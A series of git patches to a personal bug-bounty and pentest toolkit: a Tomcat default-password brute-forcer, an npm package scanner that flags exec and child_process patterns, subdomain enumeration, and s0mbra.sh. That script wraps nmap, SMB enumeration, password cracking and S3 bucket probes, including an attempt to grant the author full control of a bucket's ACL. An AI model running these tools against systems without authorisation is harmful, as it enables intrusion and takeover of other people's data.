source: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt """ + +urllib3.disable_warnings() + credentials = [ 'admin:', 'admin:admanager', @@ -112,7 +116,8 @@ def brute(args): print("[.] checking {}:{}..................................................\r".format(login, password), end="") resp = requests.get( url=url, - auth=(login, password) + auth=(login, password), + verify=False ) # 401 Unauthorized ? From d324bfdeaccbfe50f1cea3cc13e1ec4aa84bec09 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 10 May 2020 03:04:56 +0100 Subject: [PATCH 143/460] Some refactoring; some new tools --- crawl.py | 35 ++++++++++ denumerator/denumerator.py | 2 +- nodestructor/nodestructor.py | 3 +- npmpwnr.py | 124 +++++++++++++++++++++++++++++++++++ 4 files changed, 161 insertions(+), 3 deletions(-) create mode 100644 crawl.py create mode 100755 npmpwnr.py diff --git a/crawl.py b/crawl.py new file mode 100644 index 0000000..1b4fc55 --- /dev/null +++ b/crawl.py @@ -0,0 +1,35 @@ +#!/usr/bin/python +import sys +import json +import requests +import argparse +from bs4 import BeautifulSoup + + +def results(file): + content = open(file, 'r').readlines() + for line in content: + data = json.loads(line.strip()) + urls = [] + for url in data['results']: + urls.append(url['url']) + return urls + + +def crawl(url): + r = requests.get(url) + soup = BeautifulSoup(r.text, 'lxml') + links = soup.findAll('a', href=True) + for link in links: + link = link['href'] + if link and link != '#': + print '[+] {} : {}'.format(url, link) + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("file", help="ffuf results") + args = parser.parse_args() + urls = results(args.file) + + for url in urls: + crawl(url) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 1c2c0c3..2c68f30 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -285,7 +285,7 @@ def main(): ) parser.add_argument( - "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 + "-p", "--ports", help="--top-ports option for nmap (default = 1000)", default=1000 ) args = parser.parse_args() diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index e31d1d1..9c7d0bf 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -50,6 +50,7 @@ ".*bodyParser\(", ".*eval\(", ".*exec\(", + ".*execSync\(", ".*res.write\(", ".*child_process", ".*child_process.exec\(", @@ -57,8 +58,6 @@ ".*execFile\(", ".*spawn\(", ".*fork\(", - # ".*setTimeout\(", - # ".*setInterval\(", ".*setImmediate\(", ".*newBuffer\(", ".*\.constructor\(" diff --git a/npmpwnr.py b/npmpwnr.py new file mode 100755 index 0000000..d507e49 --- /dev/null +++ b/npmpwnr.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python3 +import requests +import json +import subprocess +import os +import re +import sys + + +limit = 10 +skip = 100 + +registry_base_url = "https://registry.npmjs.com" +logfile = "vulnerable.log" + +headers = { + "User-Agent": "bl4de@wearehackerone" +} +npm_home_dir = "{}/node_modules".format(os.environ['HOME']) + +patterns = [ + ".*url.parse\(", + ".*[pP]ath.normalize\(", + ".*fs.*File.*\(", + ".*fs.*Read.*\(", + ".*pipe\(res", + ".*bodyParser\(", + ".*eval\(", + ".*exec\(", + ".*execSync\(", + ".*res.write\(", + ".*child_process", + ".*child_process.exec\(", + ".*\sFunction\(", + ".*execFile\(", + ".*spawn\(", + ".*fork\(", + ".*setImmediate\(", + ".*newBuffer\(", + ".*\.constructor\(" +] + + +def get_list_of_packages_to_process(keyword, size): + res = requests.get( + url="{}{}".format( + registry_base_url, "/-/v1/search?text={}&size={}".format(keyword, size)), + headers=headers + ) + if res.status_code == 200: + return res.json() + + return False + + +def get_package_details(pkg_name): + res = requests.get( + url="{}{}".format(registry_base_url, pkg_name), + headers=headers + ) + if res.status_code == 200: + return res.json() + + return False + + +def install_package(pkg_name): + subprocess.run(["npm", "i", pkg_name]) + + +def process_files(subdirectory, sd_files, log): + """ + recursively iterates ofer all files and checks those which meet + criteria set by options only + """ + for __file in sd_files: + current_filename = os.path.join(subdirectory, __file) + if current_filename[-3:] == '.js': + perform_code_analysis(current_filename, log) + + +def perform_code_analysis(src, log): + """ + performs code analysis, line by line + """ + print_filename = True + + _file = open(src, "r") + _code = _file.readlines() + i = 0 + found = False + for _line in _code: + i += 1 + __line = _line.strip() + for __pattern in patterns: + __rex = re.compile(__pattern) + if __rex.match(__line.replace(' ', '')): + found = True + if found == True: + print("file {} is vulnerable".format(src)) + log.write("{}\n".format(src)) + + +if len(sys.argv) < 2: + exit('No keywork provided, exiting...') +else: + keyword = sys.argv[1] + +size = 10 # default +if len(sys.argv) == 3: + size = int(sys.argv[2]) + +log = open(logfile, "w") + +# get list of packages to process +pkgs = get_list_of_packages_to_process(keyword, size) + +for pkg in pkgs['objects']: + pkg_name = pkg['package']['name'] + install_package(pkg_name) + log.write("\n{}\n".format(pkg_name)) + + for subdir, dirs, files in os.walk("{}/{}".format(npm_home_dir, pkg_name)): + process_files(subdir, files, log) From 029f95e2610fef68092ab918b2553d9726ed8b27 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 5 Jul 2020 14:57:21 +0100 Subject: [PATCH 144/460] [denumerator] add timestamp when screenshot is made to spot when denumerator freezes --- denumerator/denumerator.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 2c68f30..9bdfaf2 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -30,6 +30,7 @@ import subprocess import time import requests +from datetime import datetime welcome = """ --- dENUMerator --- usage: @@ -207,8 +208,8 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses verify=False, headers={'Host': domain}) if str(resp.status_code) in allowed_http_responses: - print('[+] {}HTTP {}{}:\t {}'.format( - colors[resp.status_code], resp.status_code, colors['white'], domain)) + print('[+] {} {}HTTP {}{}:\t {}'.format( + datetime.now().strftime("%H:%M:%S"), colors[resp.status_code], resp.status_code, colors['white'], domain)) if str(resp.status_code) in allowed_http_responses: append_to_output(html_output, protocols.get( From 44d60a59e1852ee0be9caabcf251fa18963c2723 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 18 Jul 2020 21:48:01 +0100 Subject: [PATCH 145/460] update directory with tools --- enumeratescope.sh | 98 ++++++++++++ hasher.py | 1 - s0mbra.sh | 391 ++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 489 insertions(+), 1 deletion(-) create mode 100755 enumeratescope.sh create mode 100755 s0mbra.sh diff --git a/enumeratescope.sh b/enumeratescope.sh new file mode 100755 index 0000000..a587481 --- /dev/null +++ b/enumeratescope.sh @@ -0,0 +1,98 @@ +#!/bin/bash +# Subdomain enumeration and web server discovery + screenshot tools +# +# @author: bl4de +# @licence: MIT +# + + +## create domains/ folder +create_domains_folder() { + if [ ! -d domains ]; then + mkdir domains + echo -e "$(date) domains/ folder created" >> subdomain_enum.log + fi +} + + +## perform sublist3r and amass enumeration on each domain passed as an argument +enumerate_domain() { + local DOMAIN=$1 + echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log + sublister -d $DOMAIN -o domains/$DOMAIN.sublister + amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + + if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then + cat domains/$DOMAIN.* > domains/$DOMAIN.all + sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN + fi + rm -f domains/$DOMAIN.* + echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log +} + +## processing all outputed list of domains into one, removing dups +## and sorting +create_list_of_domains() { + echo -e "$(date) create final list of domains found..." >> subdomain_enum.log + # concatenate and sort all domains from the target + cat domains/*.* > domains/domains.all + sort -u -k 1 domains/domains.all > domains/__domains + # remove odd
left by Sublist3r or amass :P + sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/__domains.final + rm -f domains/domains.all + echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log +} + + +## runs denumerator +run_denumerator() { + echo -e "$(date) denumerator started" >> subdomain_enum.log + denumerator -f domains/__domains.final -c 200,302,403,500 + echo -e "$(date) denumerator finished" >> subdomain_enum.log + echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log +} + + +## performs nmap scan +run_virustotal_enum() { + echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log + # run virustotal.py reverse domain search + virustotal --cidr $CIDR --output domains/virustotal.domains + echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log +} + + +## ----------------------------------------------------------------------------- + +# list of domains - text file, one domain in single line +DOMAINS=$1 + +# IP address range +CIDR=$2 + +echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log + +# enusre that domains/ folder exists, if not create one +create_domains_folder + +if [[ -n $CIDR ]]; then + run_virustotal_enum +fi + +cat $DOMAINS | while read DOMAIN +do + enumerate_domain $DOMAIN +done + +# concatenate and sort all domains from the target +create_list_of_domains +echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" + +# run denumerator on the domains/domains.final output file +run_denumerator + +echo -e "\n[+} DONE." + +## ----------------------------------------------------------------------------- + + diff --git a/hasher.py b/hasher.py index 2cbb2b8..91f9ac0 100755 --- a/hasher.py +++ b/hasher.py @@ -1,5 +1,4 @@ #!/usr/bin/python -### created by bl4de | bloorq@gmail.com | twitter.com/_bl4de ### ### github.com/bl4de | hackerone.com/bl4de ### import sys diff --git a/s0mbra.sh b/s0mbra.sh new file mode 100755 index 0000000..52b474d --- /dev/null +++ b/s0mbra.sh @@ -0,0 +1,391 @@ +#!/bin/bash +# shellcheck disable=SC1087,SC2181,SC2162,SC2013 +### ### +### S0mbra ### +### ### + + +# BugBounty/CTF/PenTest/Hacking suite +# collection of various wrappers, multi-commands, tips&tricks, shortcuts etc. +# CTX: bl4de@wearehackerone.com + +HACKING_HOME="/Users/bl4de/hacking" + +GREEN='\033[1;32m' +GRAY='\033[1;30m' +RED='\033[1;31m' +YELLOW='\033[1;33m' +BLUE='\033[1;34m' +MAGENTA='\033[1;35m' + +CLR='\033[0m' + +__logo=" + :PB@Bk: + ,jB@@B@B@B@BBL. + 7G@B@B@BMMMMMB@B@B@Nr + :kB@B@@@MMOMOMOMOMMMM@B@B@B1, + :5@B@B@B@BBMMOMOMOMOMOMOMM@@@B@B@BBu. + 70@@@B@B@B@BXBBOMOMOMOMOMOMMBMPB@B@B@B@B@Nr + G@@@BJ iB@B@@ OBMOMOMOMOMOMOM@2 B@B@B. EB@B@S + @@BM@GJBU. iSuB@OMOMOMOMOMOMM@OU1: .kBLM@M@B@ + B@MMB@B 7@BBMMOMOMOMOMOBB@: B@BMM@B + @@@B@B 7@@@MMOMOMOMM@B@: @@B@B@ + @@OLB. BNB@MMOMOMM@BEB rBjM@B + @@ @ M OBOMOMM@q M .@ @@ + @@OvB B:u@MMOMOMMBJiB .BvM@B + @B@B@J 0@B@MMOMOMOMB@B@u q@@@B@ + B@MBB@v G@@BMMMMMMMMMMMBB@5 F@BMM@B + @BBM@BPNi LMEB@OMMMM@B@MMOMM@BZM7 rEqB@MBB@ + B@@@BM B@B@B qBMOMB@B@B@BMOMBL B@B@B @B@B@M + J@@@@PB@B@B@B7G@OMBB. ,@MMM@qLB@B@@@BqB@BBv + iGB@,i0@M@B@MMO@E : M@OMM@@@B@Pii@@N: + . B@M@B@MMM@B@B@B@MMM@@@M@B + @B@B.i@MBB@B@B@@BM@::B@B@ + B@@@ .B@B.:@B@ :B@B @B@O + :0 r@B@ B@@ .@B@: P: + vMB :@B@ :BO7 + ,B@B +" + + +# config commands +set_ip() { + export IP="$1" +} + +interactive() { + clear + trap '' SIGINT SIGQUIT SIGTSTP + set_ip "$1" + local choice + echo "$__logo" + echo -e "$BLUE------------------------------------------------------------------" + echo -e "Bl4de's BugBounty/CTF/PenTest/Hacking multi-tool\t\t -> bbbcpthmts :D " + echo -e "------------------------------------------------------------------" + echo -e "Interactive mode\tTarget: $IP" + echo -e "------------------------------------------------------------------" + echo -e "[1]\t\t -> run full nmap scan + -sV -sC on open port(s) " + echo -e "[2]\t\t -> run SMB enumeration (if port 445 is open)" + echo -e "[3]\t\t -> run nfs scan (port 2049 open)" + echo -e "[4]\t\t -> run nikto against HTTP server on port 80 with default plugins" + echo -e "" + echo -e "[0]\t\t -> Quit" + echo -e "------------------------------------------------------------------$CLR" + read -p "Select option:" choice + case $choice in + 1) full_nmap_scan "$IP" ;; + 2) smb_enum "$IP" ;; + 3) nfs_enum "$IP" ;; + 4) nikto -host "$IP" -Plugins tests ;; + 0) exit ;; + *) interactive "$IP" + esac +} + +# runs -p- against IP; then -sV -sC -A against every open port found +full_nmap_scan() { + echo -e "$BLUE[+] Running full nmap scan against $1 ...$CLR" + echo -e "\t\t -> search all open ports..." + ports=$(nmap -Pn -p- --min-rate=1000 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -Pn -n "$1" -oN ./"$1".log + echo -e "[+] Done!" +} + +# runs Python 3 built-in HTTP server on [PORT] +http_server() { + echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" + python3 -m http.server "$1" +} + +# runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] +rockyou_john() { + echo -e "$BLUE[+] Running john with rockyou dictionary against $1 of type $2$CLR" + echo > "$HACKING_HOME"/tools/jtr/run/john.pot + if [[ -n $2 ]]; then + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" --format="$2" + elif [[ -z $2 ]]; then + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" + fi + cat "$HACKING_HOME"/tools/jtr/run/john.pot +} + +# converts id_rsa to JTR format for cracking SSH key +ssh_to_john() { + echo -e "$BLUE[+] Converting SSH id_rsa key to JTR format to crack it$CLR" + python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash + echo -e "$BLUE[+] We have a hash.\n" + echo -e "$BLUE[+] Let's now crack it!" + rockyou_john "$1".hash +} + +# static code analysis of npm module installed in ~/node_modules +# with nodestructor and semgrep +npm_scan() { + echo -e "$BLUE[+] Starting static code analysis of $1 module with nodestructor and semgrep...$CLR" + nodestructor -r ~/node_modules/"$1" --verbose --skip-test-files + semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/*.js + exitcode=$(ls "$HOME"/node_modules/"$1"/*/ >/dev/null 2>&1) + if [ "$exitcode" == 0 ]; then + semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/**/*.js + fi + echo -e "\n\n[+]Done." +} + + +# static code analysis of single JavaScript code +javascript_sca() { + echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" + nodestructor --include-browser-patterns --include-urls "$1" + echo -e "\n\n[+]Done." +} + +# exposes folder with Linux PrivEsc tools on localhost:9119 +privesc_tools_linux() { + cd "$HACKING_HOME"/tools/Linux-tools || exit + echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" + http_server 9119 +} + + +# exposes folder with Windows PrivEsc tools on localhost:9119 +privesc_tools_windows() { + cd "$HACKING_HOME"/tools/Windows || exit + echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" + http_server 9119 +} + +# enumerates SMB shares on [IP] - port 445 has to be open +smb_enum() { + if [[ -z $2 ]]; then + username='NULL' + elif [[ -n $2 ]]; then + username="$2" + fi + + if [[ -z $3 ]]; then + password='' + elif [[ -n $3 ]]; then + password="$3" + fi + + echo -e "$BLUE[+] Enumerating SMB shares with nmap on $1...$CLR" + nmap -Pn -p445 --script=smb-enum-shares.nse,smb-enum-users.nse "$1" + echo -e "$YELLOW\n[+] smbmap -u $username -p $password against\t\t -> $1...$CLR" + smbmap -H "$1" -u "$username" -p "$password" 2>&1 | tee __disks + for d in $(grep 'READ' __disks | cut -d' ' -f 1); do + echo -e "$YELLOW\n[+] content of $d directory saved to $1__shares_listings $CLR" + smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings + done + rm -f __disks + echo -e "\n[+] Done." +} + +# download file from SMB share +smb_get_file() { + if [[ -z $2 ]]; then + username='NULL' + elif [[ -n $2 ]]; then + username="$2" + fi + + if [[ -z $3 ]]; then + password='' + elif [[ -n $3 ]]; then + password="$3" + fi + + echo -e "$BLUE[+] Downloading file $4 from $1...$CLR" + echo -e "$GREEN" + smbmap -H "$1" -u "$2" -p "$3" --download "$4" + echo -e "$CLR" + echo -e "\n[+] Done." +} + +# mounts SMB share at ./mnt/shares +smb_mount() { + echo -e "$BLUE[+] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" + mkdir -p mnt/shares + echo "//$3@$1/$2" + mount_smbfs "//$3@$1/$2" ./mnt/shares + echo -e "$YELLOW\n[+] Locally available shares:\n.$CLR" + ls -l ./mnt/shares + echo -e "\n[+] Done." +} + +# umounts from ./mnt/shares and delete it +smb_umount() { + echo -e "$BLUE[+] Unmounting SMB share(s) from ./mnt/shares...$CLR" + umount ./mnt/shares + rm -rf ./mnt + echo -e "\n[+] Done." +} + +# if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available +# we can enumerate nfs shares available: +nfs_enum() { + echo -e "$BLUE[+] Enumerating nfs shares (TCP 2049) on $1...$CLR" + nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" + echo -e "\n[+] Done." +} + +# checking AWS S3 bucket +s3() { + echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" + aws s3 ls "s3://$1" --no-sign-request 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ content of the bucket can be listed!$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- could not list the content... :/$CLR" + fi + + touch test.txt + echo 'TEST' >> test.txt + aws s3 cp test.txt "s3://$1/test.txt" --no-sign-request 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ WOW!!! We can copy files to the bucket!!! PWNed!!!$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- nope, cp does not work... :/$CLR" + fi + rm -f test.txt + + declare -a s3api=( + "get-bucket-acl" + "put-bucket-acl" + "get-bucket-website" + "get-bucket-cors" + "get-bucket-lifecycle-configuration" + "get-bucket-policy" + "list-bucket-metrics-configurations" + "list-multipart-uploads" + "list-object-versions" + "list-objects" + ) + for cmd in "${s3api[@]}"; do + aws s3api "$cmd" --bucket "$1" --no-sign-request 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ $cmd works!$CLR\n" + aws s3api "$cmd" --bucket "$1" --no-sign-request + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- nope, $cmd does not seem to be working... :/$CLR" + fi + done + + aws s3api put-bucket-acl --bucket "$1" --grant-full-control emailaddress=bl4de@wearehackerone.com 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ We can grant full control!!! PWNed!!!$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" + fi + echo -e "\n[+] Done." +} + +s3go() { + clear + echo -e "$BLUE[+] Getting $2 from $1 bucket...$CLR" + + aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ We can read ACL of $3$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- can't check $2 ACL... :/$CLR" + fi + + aws s3api get-object --bucket "$1" --key "$2" "$1".downloaded 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ $2 downloaded in current directory as $2.downloaded$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- can't get $2 :/$CLR" + fi +} + +cmd=$1 +clear +echo "$__logo" +case "$cmd" in + set_ip) + set_ip "$2" + ;; + full_nmap_scan) + full_nmap_scan "$2" + ;; + http_server) + http_server "$2" + ;; + rockyou_john) + rockyou_john "$2" "$3" + ;; + ssh_to_john) + ssh_to_john "$2" + ;; + npm_scan) + npm_scan "$2" + ;; + javascript_sca) + javascript_sca "$2" + ;; + privesc_tools_linux) + privesc_tools_linux + ;; + privesc_tools_windows) + privesc_tools_windows + ;; + smb_enum) + smb_enum "$2" "$3" "$4" + ;; + smb_get_file) + smb_get_file "$2" "$3" "$4" "$5" + ;; + smb_mount) + smb_mount "$2" "$3" "$4" + ;; + smb_umount) + smb_umount + ;; + nfs_enum) + nfs_enum "$2" + ;; + s3) + s3 "$2" + ;; + s3go) + s3go "$2" "$3" + ;; + interactive) + interactive "$2" + ;; + *) + clear + echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" + echo -e "\n\n--------------------------------------------------------------------------------------------------------------" + echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" + echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD + echo -e "\nAvailable commands:" + echo -e "\n::$BLUE COMMANDS IN FOR INTERACTIVE MODE ::$CLR" + echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other bbbcpthmts commands" + echo -e "\n::$BLUE RECON ::$CLR" + echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" + echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "\n::$BLUE AMAZON AWS S3 ::$CLR" + echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "\n::$BLUE TOOLS ::$CLR" + echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" + echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" + echo -e "\n::$BLUE SMB SUITE ::$CLR" + echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" + echo -e "\tsmb_mount [IP] [SHARE] [USER]\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "\tsmb_umount\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "\n::$BLUE PASSWORDS CRACKIN' ::$CLR" + echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" + echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "\n::$BLUE STATIC CODE ANALYSIS ::$CLR" + echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor and semgrep" + echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor and semgrep" + echo -e "\n\n--------------------------------------------------------------------------------------------------------------" + echo -e "$GREEN\nHack The Planet!\n$CLR" + ;; +esac From 63f09469e82cb1b3d01c2774c448fb1a044b2777 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 20 Aug 2020 02:16:24 +0100 Subject: [PATCH 146/460] s0mbra: helpers for APKs --- s0mbra.sh | 32 ++++++++++++++++++++++++++++++-- 1 file changed, 30 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 52b474d..d8f527b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -300,6 +300,26 @@ s3go() { fi } +dex_to_jar() { + clear + echo -e "$BLUE[+] Exporting $1 into .jar...$CLR" + d2j-dex2jar --force $1 + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ Ok, we have JAR, now opening it in JD-Gui...$CLR" + DEX_FILENAME=$(echo "$1"| cut -d'.' -f 1) + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar "$DEX_FILENAME"-dex2jar.jar + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- there was an error and .jar file probably was not created :/... :/$CLR" + fi +} + +decompile_jar() { + clear + echo -e "$BLUE[+] Opening $1 in JD-Gui...$CLR" + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 +} + + cmd=$1 clear echo "$__logo" @@ -325,6 +345,12 @@ case "$cmd" in javascript_sca) javascript_sca "$2" ;; + dex_to_jar) + dex_to_jar "$2" + ;; + decompile_jar) + decompile_jar "$2" + ;; privesc_tools_linux) privesc_tools_linux ;; @@ -383,8 +409,10 @@ case "$cmd" in echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\n::$BLUE STATIC CODE ANALYSIS ::$CLR" - echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor and semgrep" - echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor and semgrep" + echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" + echo -e "\tdecompile_jar [.jar FILE]\t\t\t\t -> open FILE.jar file in JD-Gui" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN\nHack The Planet!\n$CLR" ;; From e7e5c0e1c4d1f3885c5deccad5f0aab4ed37bc39 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 20 Aug 2020 02:22:19 +0100 Subject: [PATCH 147/460] s0mbra: unzip APK + apktool APK --- s0mbra.sh | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index d8f527b..632b92e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -319,6 +319,18 @@ decompile_jar() { java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +apk() { + clear + echo -e "$BLUE[+] OK, let's see this APK...$CLR" + unzip $1 + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" + apktool d $1 + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- unzipping .apk failed :/... :/$CLR" + fi +} + cmd=$1 clear @@ -348,6 +360,9 @@ case "$cmd" in dex_to_jar) dex_to_jar "$2" ;; + apk) + apk "$2" + ;; decompile_jar) decompile_jar "$2" ;; @@ -388,7 +403,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD echo -e "\nAvailable commands:" - echo -e "\n::$BLUE COMMANDS IN FOR INTERACTIVE MODE ::$CLR" + echo -e "\n::$BLUE COMMANDS IN INTERACTIVE MODE ::$CLR" echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other bbbcpthmts commands" echo -e "\n::$BLUE RECON ::$CLR" echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" @@ -412,7 +427,8 @@ case "$cmd" in echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" - echo -e "\tdecompile_jar [.jar FILE]\t\t\t\t -> open FILE.jar file in JD-Gui" + echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" + echo -e "\tdecompile_jar [.jar FILE]\t\t\t -> open FILE.jar file in JD-Gui" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN\nHack The Planet!\n$CLR" ;; From fde5c2787656f3da02974b24a9989c0b1d641f1a Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 27 Aug 2020 12:05:57 +0100 Subject: [PATCH 148/460] [enumeratescope] use amass config with API keys --- diggit/src/diggit.py | 9 +-------- enumeratescope.sh | 3 ++- 2 files changed, 3 insertions(+), 9 deletions(-) diff --git a/diggit/src/diggit.py b/diggit/src/diggit.py index 96e87fd..ea52f3a 100755 --- a/diggit/src/diggit.py +++ b/diggit/src/diggit.py @@ -26,14 +26,7 @@ def print_banner(): """Prints credits :)""" - print "\n\n", "#" * 78 - print "###", " " * 70, "###" - print "###", " " * 70, "###" - print "### diggit.py | Twitter: @_bl4de " \ - "| GitHub: 